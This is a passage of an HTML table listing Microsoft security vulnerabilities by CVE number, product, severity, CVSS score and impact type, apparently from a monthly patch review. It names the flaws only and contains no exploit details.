  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
